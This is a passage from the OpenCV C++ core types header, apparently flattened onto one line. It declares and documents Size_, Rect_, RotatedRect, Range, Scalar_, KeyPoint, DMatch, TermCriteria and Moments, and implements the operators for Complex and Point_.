Point3i; typedef Point3_<float> Point3f; typedef Point3_<double> Point3d; template<typename _Tp> class DataType< Point3_<_Tp> > { public: typedef Point3_<_Tp> value_type; typedef Point3_<typename DataType<_Tp>::work_type> work_type; typedef _Tp channel_type; enum { generic_type = 0, channels = 3, fmt = traits::SafeFmt<channel_type>::fmt + ((channels - 1) << 8) #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED ,depth = DataType<channel_type>::depth ,type = CV_MAKETYPE(depth, channels) #endif }; typedef Vec<channel_type, channels> vec_type; }; namespace traits { template<typename _Tp> struct Depth< Point3_<_Tp> > { enum { value = Depth<_Tp>::value }; }; template<typename _Tp> struct Type< Point3_<_Tp> > { enum { value = CV_MAKETYPE(Depth<_Tp>::value, 3) }; }; } // namespace //////////////////////////////// Size_ //////////////////////////////// /** @brief Template class for specifying the size of an image or rectangle. The class includes two members called width and height. The structure can be converted to and from the old OpenCV structures CvSize and CvSize2D32f . The same set of arithmetic and comparison operations as for Point_ is available. OpenCV defines the following Size_\<\> aliases: @code typedef Size_<int> Size2i; typedef Size2i Size; typedef Size_<float> Size2f; @endcode */ template<typename _Tp> class Size_ { public: typedef _Tp value_type; //! default constructor Size_(); Size_(_Tp _width, _Tp _height); Size_(const Size_& sz); Size_(Size_&& sz) CV_NOEXCEPT; Size_(const Point_<_Tp>& pt); Size_& operator = (const Size_& sz); Size_& operator = (Size_&& sz) CV_NOEXCEPT; //! the area (width*height) _Tp area() const; //! aspect ratio (width/height) double aspectRatio() const; //! true if empty bool empty() const; //! conversion of another data type. template<typename _Tp2> operator Size_<_Tp2>() const; _Tp width; //!< the width _Tp height; //!< the height }; typedef Size_<int> Size2i; typedef Size_<int64> Size2l; typedef Size_<float> Size2f; typedef Size_<double> Size2d; typedef Size2i Size; template<typename _Tp> class DataType< Size_<_Tp> > { public: typedef Size_<_Tp> value_type; typedef Size_<typename DataType<_Tp>::work_type> work_type; typedef _Tp channel_type; enum { generic_type = 0, channels = 2, fmt = DataType<channel_type>::fmt + ((channels - 1) << 8) #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED ,depth = DataType<channel_type>::depth ,type = CV_MAKETYPE(depth, channels) #endif }; typedef Vec<channel_type, channels> vec_type; }; namespace traits { template<typename _Tp> struct Depth< Size_<_Tp> > { enum { value = Depth<_Tp>::value }; }; template<typename _Tp> struct Type< Size_<_Tp> > { enum { value = CV_MAKETYPE(Depth<_Tp>::value, 2) }; }; } // namespace //////////////////////////////// Rect_ //////////////////////////////// /** @brief Template class for 2D rectangles described by the following parameters: - Coordinates of the top-left corner. This is a default interpretation of Rect_::x and Rect_::y in OpenCV. Though, in your algorithms you may count x and y from the bottom-left corner. - Rectangle width and height. OpenCV typically assumes that the top and left boundary of the rectangle are inclusive, while the right and bottom boundaries are not. For example, the method Rect_::contains returns true if \f[x \leq pt.x < x+width, y \leq pt.y < y+height\f] Virtually every loop over an image ROI in OpenCV (where ROI is specified by Rect_\<int\> ) is implemented as: @code for(int y = roi.y; y < roi.y + roi.height; y++) for(int x = roi.x; x < roi.x + roi.width; x++) { // ... } @endcode In addition to the class members, the following operations on rectangles are implemented: - \f$\texttt{rect} = \texttt{rect} \pm \texttt{point}\f$ (shifting a rectangle by a certain offset) - \f$\texttt{rect} = \texttt{rect} \pm \texttt{size}\f$ (expanding or shrinking a rectangle by a certain amount) - rect += point, rect -= point, rect += size, rect -= size (augmenting operations) - rect = rect1 & rect2 (rectangle intersection) - rect = rect1 | rect2 (minimum area rectangle containing rect1 and rect2 ) - rect &= rect1, rect |= rect1 (and the corresponding augmenting operations) - rect == rect1, rect != rect1 (rectangle comparison) This is an example how the partial ordering on rectangles can be established (rect1 \f$\subseteq\f$ rect2): @code template<typename _Tp> inline bool operator <= (const Rect_<_Tp>& r1, const Rect_<_Tp>& r2) { return (r1 & r2) == r1; } @endcode For your convenience, the Rect_\<\> alias is available: cv::Rect */ template<typename _Tp> class Rect_ { public: typedef _Tp value_type; //! default constructor Rect_(); Rect_(_Tp _x, _Tp _y, _Tp _width, _Tp _height); Rect_(const Rect_& r); Rect_(Rect_&& r) CV_NOEXCEPT; Rect_(const Point_<_Tp>& org, const Size_<_Tp>& sz); Rect_(const Point_<_Tp>& pt1, const Point_<_Tp>& pt2); Rect_& operator = ( const Rect_& r ); Rect_& operator = ( Rect_&& r ) CV_NOEXCEPT; //! the top-left corner Point_<_Tp> tl() const; //! the bottom-right corner Point_<_Tp> br() const; //! size (width, height) of the rectangle Size_<_Tp> size() const; //! area (width*height) of the rectangle _Tp area() const; //! true if empty bool empty() const; //! conversion to another data type template<typename _Tp2> operator Rect_<_Tp2>() const; //! checks whether the rectangle contains the point bool contains(const Point_<_Tp>& pt) const; _Tp x; //!< x coordinate of the top-left corner _Tp y; //!< y coordinate of the top-left corner _Tp width; //!< width of the rectangle _Tp height; //!< height of the rectangle }; typedef Rect_<int> Rect2i; typedef Rect_<float> Rect2f; typedef Rect_<double> Rect2d; typedef Rect2i Rect; template<typename _Tp> class DataType< Rect_<_Tp> > { public: typedef Rect_<_Tp> value_type; typedef Rect_<typename DataType<_Tp>::work_type> work_type; typedef _Tp channel_type; enum { generic_type = 0, channels = 4, fmt = traits::SafeFmt<channel_type>::fmt + ((channels - 1) << 8) #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED ,depth = DataType<channel_type>::depth ,type = CV_MAKETYPE(depth, channels) #endif }; typedef Vec<channel_type, channels> vec_type; }; namespace traits { template<typename _Tp> struct Depth< Rect_<_Tp> > { enum { value = Depth<_Tp>::value }; }; template<typename _Tp> struct Type< Rect_<_Tp> > { enum { value = CV_MAKETYPE(Depth<_Tp>::value, 4) }; }; } // namespace ///////////////////////////// RotatedRect ///////////////////////////// /** @brief The class represents rotated (i.e. not up-right) rectangles on a plane. Each rectangle is specified by the center point (mass center), length of each side (represented by #Size2f structure) and the rotation angle in degrees. The sample below demonstrates how to use RotatedRect: @snippet snippets/core_various.cpp RotatedRect_demo ![image](pics/rotatedrect.png) @sa CamShift, fitEllipse, minAreaRect, CvBox2D */ class CV_EXPORTS RotatedRect { public: //! default constructor RotatedRect(); /** full constructor @param center The rectangle mass center. @param size Width and height of the rectangle. @param angle The rotation angle in a clockwise direction. When the angle is 0, 90, 180, 270 etc., the rectangle becomes an up-right rectangle. */ RotatedRect(const Point2f& center, const Size2f& size, float angle); /** Any 3 end points of the RotatedRect. They must be given in order (either clockwise or anticlockwise). */ RotatedRect(const Point2f& point1, const Point2f& point2, const Point2f& point3); /** returns 4 vertices of the rectangle @param pts The points array for storing rectangle vertices. The order is bottomLeft, topLeft, topRight, bottomRight. */ void points(Point2f pts[]) const; //! returns the minimal up-right integer rectangle containing the rotated rectangle Rect boundingRect() const; //! returns the minimal (exact) floating point rectangle containing the rotated rectangle, not intended for use with images Rect_<float> boundingRect2f() const; //! returns the rectangle mass center Point2f center; //! returns width and height of the rectangle Size2f size; //! returns the rotation angle. When the angle is 0, 90, 180, 270 etc., the rectangle becomes an up-right rectangle. float angle; }; template<> class DataType< RotatedRect > { public: typedef RotatedRect value_type; typedef value_type work_type; typedef float channel_type; enum { generic_type = 0, channels = (int)sizeof(value_type)/sizeof(channel_type), // 5 fmt = traits::SafeFmt<channel_type>::fmt + ((channels - 1) << 8) #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED ,depth = DataType<channel_type>::depth ,type = CV_MAKETYPE(depth, channels) #endif }; typedef Vec<channel_type, channels> vec_type; }; namespace traits { template<> struct Depth< RotatedRect > { enum { value = Depth<float>::value }; }; template<> struct Type< RotatedRect > { enum { value = CV_MAKETYPE(Depth<float>::value, (int)sizeof(RotatedRect)/sizeof(float)) }; }; } // namespace //////////////////////////////// Range ///////////////////////////////// /** @brief Template class specifying a continuous subsequence (slice) of a sequence. The class is used to specify a row or a column span in a matrix ( Mat ) and for many other purposes. Range(a,b) is basically the same as a:b in Matlab or a..b in Python. As in Python, start is an inclusive left boundary of the range and end is an exclusive right boundary of the range. Such a half-opened interval is usually denoted as \f$[start,end)\f$ . The static method Range::all() returns a special variable that means "the whole sequence" or "the whole range", just like " : " in Matlab or " ... " in Python. All the methods and functions in OpenCV that take Range support this special Range::all() value. But, of course, in case of your own custom processing, you will probably have to check and handle it explicitly: @code void my_function(..., const Range& r, ....) { if(r == Range::all()) { // process all the data } else { // process [r.start, r.end) } } @endcode */ class CV_EXPORTS Range { public: Range(); Range(int _start, int _end); int size() const; bool empty() const; static Range all(); int start, end; }; template<> class DataType<Range> { public: typedef Range value_type; typedef value_type work_type; typedef int channel_type; enum { generic_type = 0, channels = 2, fmt = traits::SafeFmt<channel_type>::fmt + ((channels - 1) << 8) #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED ,depth = DataType<channel_type>::depth ,type = CV_MAKETYPE(depth, channels) #endif }; typedef Vec<channel_type, channels> vec_type; }; namespace traits { template<> struct Depth< Range > { enum { value = Depth<int>::value }; }; template<> struct Type< Range > { enum { value = CV_MAKETYPE(Depth<int>::value, 2) }; }; } // namespace //////////////////////////////// Scalar_ /////////////////////////////// /** @brief Template class for a 4-element vector derived from Vec. Being derived from Vec\<_Tp, 4\> , Scalar\_ and Scalar can be used just as typical 4-element vectors. In addition, they can be converted to/from CvScalar . The type Scalar is widely used in OpenCV to pass pixel values. */ template<typename _Tp> class Scalar_ : public Vec<_Tp, 4> { public: //! default constructor Scalar_(); Scalar_(_Tp v0, _Tp v1, _Tp v2=0, _Tp v3=0); Scalar_(_Tp v0); Scalar_(const Scalar_& s); Scalar_(Scalar_&& s) CV_NOEXCEPT; Scalar_& operator=(const Scalar_& s); Scalar_& operator=(Scalar_&& s) CV_NOEXCEPT; template<typename _Tp2, int cn> Scalar_(const Vec<_Tp2, cn>& v); //! returns a scalar with all elements set to v0 static Scalar_<_Tp> all(_Tp v0); //! conversion to another data type template<typename T2> operator Scalar_<T2>() const; //! per-element product Scalar_<_Tp> mul(const Scalar_<_Tp>& a, double scale=1 ) const; //! returns (v0, -v1, -v2, -v3) Scalar_<_Tp> conj() const; //! returns true iff v1 == v2 == v3 == 0 bool isReal() const; }; typedef Scalar_<double> Scalar; template<typename _Tp> class DataType< Scalar_<_Tp> > { public: typedef Scalar_<_Tp> value_type; typedef Scalar_<typename DataType<_Tp>::work_type> work_type; typedef _Tp channel_type; enum { generic_type = 0, channels = 4, fmt = traits::SafeFmt<channel_type>::fmt + ((channels - 1) << 8) #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED ,depth = DataType<channel_type>::depth ,type = CV_MAKETYPE(depth, channels) #endif }; typedef Vec<channel_type, channels> vec_type; }; namespace traits { template<typename _Tp> struct Depth< Scalar_<_Tp> > { enum { value = Depth<_Tp>::value }; }; template<typename _Tp> struct Type< Scalar_<_Tp> > { enum { value = CV_MAKETYPE(Depth<_Tp>::value, 4) }; }; } // namespace /////////////////////////////// KeyPoint //////////////////////////////// /** @brief Data structure for salient point detectors. The class instance stores a keypoint, i.e. a point feature found by one of many available keypoint detectors, such as Harris corner detector, #FAST, %StarDetector, %SURF, %SIFT etc. The keypoint is characterized by the 2D position, scale (proportional to the diameter of the neighborhood that needs to be taken into account), orientation and some other parameters. The keypoint neighborhood is then analyzed by another algorithm that builds a descriptor (usually represented as a feature vector). The keypoints representing the same object in different images can then be matched using %KDTree or another method. */ class CV_EXPORTS_W_SIMPLE KeyPoint { public: //! the default constructor CV_WRAP KeyPoint(); /** @param _pt x & y coordinates of the keypoint @param _size keypoint diameter @param _angle keypoint orientation @param _response keypoint detector response on the keypoint (that is, strength of the keypoint) @param _octave pyramid octave in which the keypoint has been detected @param _class_id object id */ KeyPoint(Point2f _pt, float _size, float _angle=-1, float _response=0, int _octave=0, int _class_id=-1); /** @param x x-coordinate of the keypoint @param y y-coordinate of the keypoint @param _size keypoint diameter @param _angle keypoint orientation @param _response keypoint detector response on the keypoint (that is, strength of the keypoint) @param _octave pyramid octave in which the keypoint has been detected @param _class_id object id */ CV_WRAP KeyPoint(float x, float y, float _size, float _angle=-1, float _response=0, int _octave=0, int _class_id=-1); size_t hash() const; /** This method converts vector of keypoints to vector of points or the reverse, where each keypoint is assigned the same size and the same orientation. @param keypoints Keypoints obtained from any feature detection algorithm like SIFT/SURF/ORB @param points2f Array of (x,y) coordinates of each keypoint @param keypointIndexes Array of indexes of keypoints to be converted to points. (Acts like a mask to convert only specified keypoints) */ CV_WRAP static void convert(const std::vector<KeyPoint>& keypoints, CV_OUT std::vector<Point2f>& points2f, const std::vector<int>& keypointIndexes=std::vector<int>()); /** @overload @param points2f Array of (x,y) coordinates of each keypoint @param keypoints Keypoints obtained from any feature detection algorithm like SIFT/SURF/ORB @param size keypoint diameter @param response keypoint detector response on the keypoint (that is, strength of the keypoint) @param octave pyramid octave in which the keypoint has been detected @param class_id object id */ CV_WRAP static void convert(const std::vector<Point2f>& points2f, CV_OUT std::vector<KeyPoint>& keypoints, float size=1, float response=1, int octave=0, int class_id=-1); /** This method computes overlap for pair of keypoints. Overlap is the ratio between area of keypoint regions' intersection and area of keypoint regions' union (considering keypoint region as circle). If they don't overlap, we get zero. If they coincide at same location with same size, we get 1. @param kp1 First keypoint @param kp2 Second keypoint */ CV_WRAP static float overlap(const KeyPoint& kp1, const KeyPoint& kp2); CV_PROP_RW Point2f pt; //!< coordinates of the keypoints CV_PROP_RW float size; //!< diameter of the meaningful keypoint neighborhood CV_PROP_RW float angle; //!< computed orientation of the keypoint (-1 if not applicable); //!< it's in [0,360) degrees and measured relative to //!< image coordinate system, ie in clockwise. CV_PROP_RW float response; //!< the response by which the most strong keypoints have been selected. Can be used for the further sorting or subsampling CV_PROP_RW int octave; //!< octave (pyramid layer) from which the keypoint has been extracted CV_PROP_RW int class_id; //!< object class (if the keypoints need to be clustered by an object they belong to) }; #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED template<> class DataType<KeyPoint> { public: typedef KeyPoint value_type; typedef float work_type; typedef float channel_type; enum { generic_type = 0, depth = DataType<channel_type>::depth, channels = (int)(sizeof(value_type)/sizeof(channel_type)), // 7 fmt = DataType<channel_type>::fmt + ((channels - 1) << 8), type = CV_MAKETYPE(depth, channels) }; typedef Vec<channel_type, channels> vec_type; }; #endif //////////////////////////////// DMatch ///////////////////////////////// /** @brief Class for matching keypoint descriptors query descriptor index, train descriptor index, train image index, and distance between descriptors. */ class CV_EXPORTS_W_SIMPLE DMatch { public: CV_WRAP DMatch(); CV_WRAP DMatch(int _queryIdx, int _trainIdx, float _distance); CV_WRAP DMatch(int _queryIdx, int _trainIdx, int _imgIdx, float _distance); CV_PROP_RW int queryIdx; //!< query descriptor index CV_PROP_RW int trainIdx; //!< train descriptor index CV_PROP_RW int imgIdx; //!< train image index CV_PROP_RW float distance; // less is better bool operator<(const DMatch &m) const; }; #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED template<> class DataType<DMatch> { public: typedef DMatch value_type; typedef int work_type; typedef int channel_type; enum { generic_type = 0, depth = DataType<channel_type>::depth, channels = (int)(sizeof(value_type)/sizeof(channel_type)), // 4 fmt = DataType<channel_type>::fmt + ((channels - 1) << 8), type = CV_MAKETYPE(depth, channels) }; typedef Vec<channel_type, channels> vec_type; }; #endif ///////////////////////////// TermCriteria ////////////////////////////// /** @brief The class defining termination criteria for iterative algorithms. You can initialize it by default constructor and then override any parameters, or the structure may be fully initialized using the advanced variant of the constructor. */ class CV_EXPORTS TermCriteria { public: /** Criteria type, can be one of: COUNT, EPS or COUNT + EPS */ enum Type { COUNT=1, //!< the maximum number of iterations or elements to compute MAX_ITER=COUNT, //!< ditto EPS=2 //!< the desired accuracy or change in parameters at which the iterative algorithm stops }; //! default constructor TermCriteria(); /** @param type The type of termination criteria, one of TermCriteria::Type @param maxCount The maximum number of iterations or elements to compute. @param epsilon The desired accuracy or change in parameters at which the iterative algorithm stops. */ TermCriteria(int type, int maxCount, double epsilon); inline bool isValid() const { const bool isCount = (type & COUNT) && maxCount > 0; const bool isEps = (type & EPS) && !cvIsNaN(epsilon); return isCount || isEps; } int type; //!< the type of termination criteria: COUNT, EPS or COUNT + EPS int maxCount; //!< the maximum number of iterations/elements double epsilon; //!< the desired accuracy }; //! @} core_basic ///////////////////////// raster image moments ////////////////////////// //! @addtogroup imgproc_shape //! @{ /** @brief struct returned by cv::moments The spatial moments \f$\texttt{Moments::m}_{ji}\f$ are computed as: \f[\texttt{m} _{ji}= \sum _{x,y} \left ( \texttt{array} (x,y) \cdot x^j \cdot y^i \right )\f] The central moments \f$\texttt{Moments::mu}_{ji}\f$ are computed as: \f[\texttt{mu} _{ji}= \sum _{x,y} \left ( \texttt{array} (x,y) \cdot (x - \bar{x} )^j \cdot (y - \bar{y} )^i \right )\f] where \f$(\bar{x}, \bar{y})\f$ is the mass center: \f[\bar{x} = \frac{\texttt{m}_{10}}{\texttt{m}_{00}} , \; \bar{y} = \frac{\texttt{m}_{01}}{\texttt{m}_{00}}\f] The normalized central moments \f$\texttt{Moments::nu}_{ij}\f$ are computed as: \f[\texttt{nu} _{ji}= \frac{\texttt{mu}_{ji}}{\texttt{m}_{00}^{(i+j)/2+1}} .\f] @note \f$\texttt{mu}_{00}=\texttt{m}_{00}\f$, \f$\texttt{nu}_{00}=1\f$ \f$\texttt{nu}_{10}=\texttt{mu}_{10}=\texttt{mu}_{01}=\texttt{mu}_{10}=0\f$ , hence the values are not stored. The moments of a contour are defined in the same way but computed using the Green's formula (see <http://en.wikipedia.org/wiki/Green_theorem>). So, due to a limited raster resolution, the moments computed for a contour are slightly different from the moments computed for the same rasterized contour. @note Since the contour moments are computed using Green formula, you may get seemingly odd results for contours with self-intersections, e.g. a zero area (m00) for butterfly-shaped contours. */ class CV_EXPORTS_W_MAP Moments { public: //! the default constructor Moments(); //! the full constructor Moments(double m00, double m10, double m01, double m20, double m11, double m02, double m30, double m21, double m12, double m03 ); ////! the conversion from CvMoments //Moments( const CvMoments& moments ); ////! the conversion to CvMoments //operator CvMoments() const; //! @name spatial moments //! @{ CV_PROP_RW double m00, m10, m01, m20, m11, m02, m30, m21, m12, m03; //! @} //! @name central moments //! @{ CV_PROP_RW double mu20, mu11, mu02, mu30, mu21, mu12, mu03; //! @} //! @name central normalized moments //! @{ CV_PROP_RW double nu20, nu11, nu02, nu30, nu21, nu12, nu03; //! @} }; template<> class DataType<Moments> { public: typedef Moments value_type; typedef double work_type; typedef double channel_type; enum { generic_type = 0, channels = (int)(sizeof(value_type)/sizeof(channel_type)), // 24 fmt = DataType<channel_type>::fmt + ((channels - 1) << 8) #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED ,depth = DataType<channel_type>::depth ,type = CV_MAKETYPE(depth, channels) #endif }; typedef Vec<channel_type, channels> vec_type; }; namespace traits { template<> struct Depth< Moments > { enum { value = Depth<double>::value }; }; template<> struct Type< Moments > { enum { value = CV_MAKETYPE(Depth<double>::value, (int)(sizeof(Moments)/sizeof(double))) }; }; } // namespace //! @} imgproc_shape //! @cond IGNORED ///////////////////////////////////////////////////////////////////////// ///////////////////////////// Implementation //////////////////////////// ///////////////////////////////////////////////////////////////////////// //////////////////////////////// Complex //////////////////////////////// template<typename _Tp> inline Complex<_Tp>::Complex() : re(0), im(0) {} template<typename _Tp> inline Complex<_Tp>::Complex( _Tp _re, _Tp _im ) : re(_re), im(_im) {} template<typename _Tp> template<typename T2> inline Complex<_Tp>::operator Complex<T2>() const { return Complex<T2>(saturate_cast<T2>(re), saturate_cast<T2>(im)); } template<typename _Tp> inline Complex<_Tp> Complex<_Tp>::conj() const { return Complex<_Tp>(re, -im); } template<typename _Tp> static inline bool operator == (const Complex<_Tp>& a, const Complex<_Tp>& b) { return a.re == b.re && a.im == b.im; } template<typename _Tp> static inline bool operator != (const Complex<_Tp>& a, const Complex<_Tp>& b) { return a.re != b.re || a.im != b.im; } template<typename _Tp> static inline Complex<_Tp> operator + (const Complex<_Tp>& a, const Complex<_Tp>& b) { return Complex<_Tp>( a.re + b.re, a.im + b.im ); } template<typename _Tp> static inline Complex<_Tp>& operator += (Complex<_Tp>& a, const Complex<_Tp>& b) { a.re += b.re; a.im += b.im; return a; } template<typename _Tp> static inline Complex<_Tp> operator - (const Complex<_Tp>& a, const Complex<_Tp>& b) { return Complex<_Tp>( a.re - b.re, a.im - b.im ); } template<typename _Tp> static inline Complex<_Tp>& operator -= (Complex<_Tp>& a, const Complex<_Tp>& b) { a.re -= b.re; a.im -= b.im; return a; } template<typename _Tp> static inline Complex<_Tp> operator - (const Complex<_Tp>& a) { return Complex<_Tp>(-a.re, -a.im); } template<typename _Tp> static inline Complex<_Tp> operator * (const Complex<_Tp>& a, const Complex<_Tp>& b) { return Complex<_Tp>( a.re*b.re - a.im*b.im, a.re*b.im + a.im*b.re ); } template<typename _Tp> static inline Complex<_Tp> operator * (const Complex<_Tp>& a, _Tp b) { return Complex<_Tp>( a.re*b, a.im*b ); } template<typename _Tp> static inline Complex<_Tp> operator * (_Tp b, const Complex<_Tp>& a) { return Complex<_Tp>( a.re*b, a.im*b ); } template<typename _Tp> static inline Complex<_Tp> operator + (const Complex<_Tp>& a, _Tp b) { return Complex<_Tp>( a.re + b, a.im ); } template<typename _Tp> static inline Complex<_Tp> operator - (const Complex<_Tp>& a, _Tp b) { return Complex<_Tp>( a.re - b, a.im ); } template<typename _Tp> static inline Complex<_Tp> operator + (_Tp b, const Complex<_Tp>& a) { return Complex<_Tp>( a.re + b, a.im ); } template<typename _Tp> static inline Complex<_Tp> operator - (_Tp b, const Complex<_Tp>& a) { return Complex<_Tp>( b - a.re, -a.im ); } template<typename _Tp> static inline Complex<_Tp>& operator += (Complex<_Tp>& a, _Tp b) { a.re += b; return a; } template<typename _Tp> static inline Complex<_Tp>& operator -= (Complex<_Tp>& a, _Tp b) { a.re -= b; return a; } template<typename _Tp> static inline Complex<_Tp>& operator *= (Complex<_Tp>& a, _Tp b) { a.re *= b; a.im *= b; return a; } template<typename _Tp> static inline double abs(const Complex<_Tp>& a) { return std::sqrt( (double)a.re*a.re + (double)a.im*a.im); } template<typename _Tp> static inline Complex<_Tp> operator / (const Complex<_Tp>& a, const Complex<_Tp>& b) { double t = 1./((double)b.re*b.re + (double)b.im*b.im); return Complex<_Tp>( (_Tp)((a.re*b.re + a.im*b.im)*t), (_Tp)((-a.re*b.im + a.im*b.re)*t) ); } template<typename _Tp> static inline Complex<_Tp>& operator /= (Complex<_Tp>& a, const Complex<_Tp>& b) { a = a / b; return a; } template<typename _Tp> static inline Complex<_Tp> operator / (const Complex<_Tp>& a, _Tp b) { _Tp t = (_Tp)1/b; return Complex<_Tp>( a.re*t, a.im*t ); } template<typename _Tp> static inline Complex<_Tp> operator / (_Tp b, const Complex<_Tp>& a) { return Complex<_Tp>(b)/a; } template<typename _Tp> static inline Complex<_Tp> operator /= (const Complex<_Tp>& a, _Tp b) { _Tp t = (_Tp)1/b; a.re *= t; a.im *= t; return a; } //////////////////////////////// 2D Point /////////////////////////////// template<typename _Tp> inline Point_<_Tp>::Point_() : x(0), y(0) {} template<typename _Tp> inline Point_<_Tp>::Point_(_Tp _x, _Tp _y) : x(_x), y(_y) {} template<typename _Tp> inline Point_<_Tp>::Point_(const Point_& pt) : x(pt.x), y(pt.y) {} template<typename _Tp> inline Point_<_Tp>::Point_(Point_&& pt) CV_NOEXCEPT : x(std::move(pt.x)), y(std::move(pt.y)) {} template<typename _Tp> inline Point_<_Tp>::Point_(const Size_<_Tp>& sz) : x(sz.width), y(sz.height) {} template<typename _Tp> inline Point_<_Tp>::Point_(const Vec<_Tp,2>& v) : x(v[0]), y(v[1]) {} template<typename _Tp> inline Point_<_Tp>& Point_<_Tp>::operator = (const Point_& pt) { x = pt.x; y = pt.y; return *this; } template<typename _Tp> inline Point_<_Tp>& Point_<_Tp>::operator = (Point_&& pt) CV_NOEXCEPT { x = std::move(pt.x); y = std::move(pt.y); return *this; } template<typename _Tp> template<typename _Tp2> inline Point_<_Tp>::operator Point_<_Tp2>() const { return Point_<_Tp2>(saturate_cast<_Tp2>(x), saturate_cast<_Tp2>(y)); } template<typename _Tp> inline Point_<_Tp>::operator Vec<_Tp, 2>() const { return Vec<_Tp, 2>(x, y); } template<typename _Tp> inline _Tp Point_<_Tp>::dot(const Point_& pt) const { return saturate_cast<_Tp>(x*pt.x + y*pt.y); } template<typename _Tp> inline double Point_<_Tp>::ddot(const Point_& pt) const { return (double)x*(double)(pt.x) + (double)y*(double)(pt.y); } template<typename _Tp> inline double Point_<_Tp>::cross(const Point_& pt) const { return (double)x*pt.y - (double)y*pt.x; } template<typename _Tp> inline bool Point_<_Tp>::inside( const Rect_<_Tp>& r ) const { return r.contains(*this); } template<typename _Tp> static inline Point_<_Tp>& operator += (Point_<_Tp>& a, const Point_<_Tp>& b) { a.x += b.x; a.y += b.y; return a; } template<typename _Tp> static inline Point_<_Tp>& operator -= (Point_<_Tp>& a, const Point_<_Tp>& b) { a.x -= b.x; a.y -= b.y; return a; } template<typename _Tp> static inline Point_<_Tp>& operator *= (Point_<_Tp>& a, int b) { a.x = saturate_cast<_Tp>(a.x * b); a.y = saturate_cast<_Tp>(a.y * b); return a; } template<typename _Tp> static inline Point_<_Tp>& operator *= (Point_<_Tp>& a, float b) { a.x = saturate_cast<_Tp>(a.x * b); a.y = saturate_cast<_Tp>(a.y * b); return a; } template<typename _Tp> static inline Point_<_Tp>& operator *= (Point_<_Tp>& a, double b) { a.x = saturate_cast<_Tp>(a.x * b); a.y = saturate_cast<_Tp>(a.y * b); return a; } template<typename _Tp> static inline Point_<_Tp>& operator /= (Point_<_Tp>& a, int b) { a.x = saturate_cast<_Tp>(a.x / b); a.y = saturate_cast<_Tp>(a.y / b); return a; } template<typename _Tp> static inline Point_<_Tp>& operator /= (Point_<_Tp>& a, float b) { a.x = saturate_cast<_Tp>(a.x / b); a.y = saturate_cast<_Tp>(a.y / b); return a; } template<typename _Tp> static inline Point_<_Tp>& operator /= (Point_<_Tp>& a, double b) { a.x = saturate_cast<_Tp>(a.x / b); a.y = saturate_cast<_Tp>(a.y / b); return a; } template<typename _Tp> static inline double norm(const Point_<_Tp>& pt) { return std::sqrt((double)pt.x*pt.x + (double)pt.y*pt.y); } template<typename _Tp> static inline bool operator == (const Point_<_Tp>& a, const Point_<_Tp>& b) { return a.x == b.x && a.y == b.y; } template<typename _Tp> static inline bool operator != (const Point_<_Tp>& a, const Point_<_Tp>& b) { return a.x != b.x || a.y != b.y; } template<typename _Tp> static inline Point_<_Tp> operator + (const Point_<_Tp>& a, const Point_<_Tp>& b) { return Point_<_Tp>( saturate_cast<_Tp>(a.x + b.x), saturate_cast<_Tp>(a.y + b.y) ); } template<typename _Tp> static inline Point_<_Tp> operator - (const Point_<_Tp>& a, const Point_<_Tp>& b) { return Point_<_Tp>( saturate_cast<_Tp>(a.x - b.x), saturate_cast<_Tp>(a.y - b.y) ); } template<typename _Tp> static inline Point_<_Tp> operator - (const Point_<_Tp>& a) { return Point_<_Tp>( saturate_cast<_Tp>(-a.x), saturate_cast<_Tp>(-a.y) ); } template<typename _Tp> static inline Point_<_Tp> operator * (const Point_<_Tp>& a, int b) { return Point_<_Tp>( saturate_cast<_Tp>(a.x*b), saturate_cast<_Tp>(a.y*b) ); } template<typename _Tp> static inline Point_<_Tp> operator * (int a, const Point_<_Tp>& b) { return Point_<_Tp>( saturate_cast<_Tp>(b.x*a), saturate_cast<_Tp>(b.y*a) ); } template<typename _Tp> static inline Point_<_Tp> operator * (const Point_<_Tp>& a, float b) { return Point_<_Tp>( saturate_cast<_Tp>(a.x*b), saturate_cast<_Tp>(a.y*b) ); } template<typename _Tp> static inline Point_<_Tp> operator * (float a, const Point_<_Tp>& b) { return Point_<_Tp>( saturate_cast<_Tp>(b.x*a), saturate_cast<_Tp>(b.y*a) ); } template<typename _Tp> static inline Point_<_Tp> operator * (const Point_<_Tp>& a, double b) { return Point_<_Tp>( saturate_cast<_Tp>(a.x*b), saturate_cast<_Tp>(a.y*b) ); } template<typename _Tp> static inline Point_<_Tp> operator * (double a, const Point_<_Tp>& b) { return Point_<_Tp>( saturate_cast<_Tp>(b.x*a), saturate_cast<_Tp>(b.y*a) ); } template<typename _Tp> static inline Point_<_Tp> operator * (const Matx<_Tp, 2, 2>& a, const Point_<_Tp>& b) { Matx<_Tp, 2, 1> tmp = a * Vec<_Tp,2>(b.x, b.y); return Point_<_Tp>(tmp.val[0], tmp.val[1]); } template<typename _Tp> static inline Point3_<_Tp> operator * (const Matx<_Tp, 3, 3>& a, const Point_<_Tp>& b) { Matx<_Tp, 3, 1> tmp = a * Vec<_Tp,3>(b.x, b.y, 1); return Point3_<_Tp>(tmp.val[0], tmp.val[1], tmp.val[2]); } template<typename _Tp> static inline Point_<_Tp> operator / (const Point_<_Tp>& a, int b) { Point_<_Tp> tmp(a); tmp /= b; return tmp; } template<typename _Tp> static inline Point_<_Tp> operator / (const Point_<_Tp>& a, float b) { Point_<_Tp> tmp(a); tmp /= b; return tmp; } template<typename _Tp> static inline Point_<_Tp> operator / (const Point_<_Tp>& a, double b) { Point_<_Tp> tmp(a); tmp /= b; return tmp; } template<typename _AccTp> static inline _AccTp normL2Sqr(const Point_<int>& pt); template<typename _AccTp> static inline _AccTp normL2Sqr(const Point_<int64>& pt); template<typename _AccTp> static inline _AccTp normL2Sqr(const Point_<float>& pt); template<typename _AccTp> static inline _AccTp normL2Sqr(const Point_<double>& pt); template<> inline int normL2Sqr<int>(const Point_<int>& pt) { return pt.dot(pt); } template<> inline int64 normL2Sqr<int64>(const Point_<int64>& pt) { return pt.dot(pt); } template<> inline float normL2Sqr<float>(const Point_<float>& pt) { return pt.dot(pt); } template<> inline double normL2Sqr<double>(const Point_<int>& pt) { return pt.dot(pt); } template<> inline double normL2Sqr<double>(const Point_<float>& 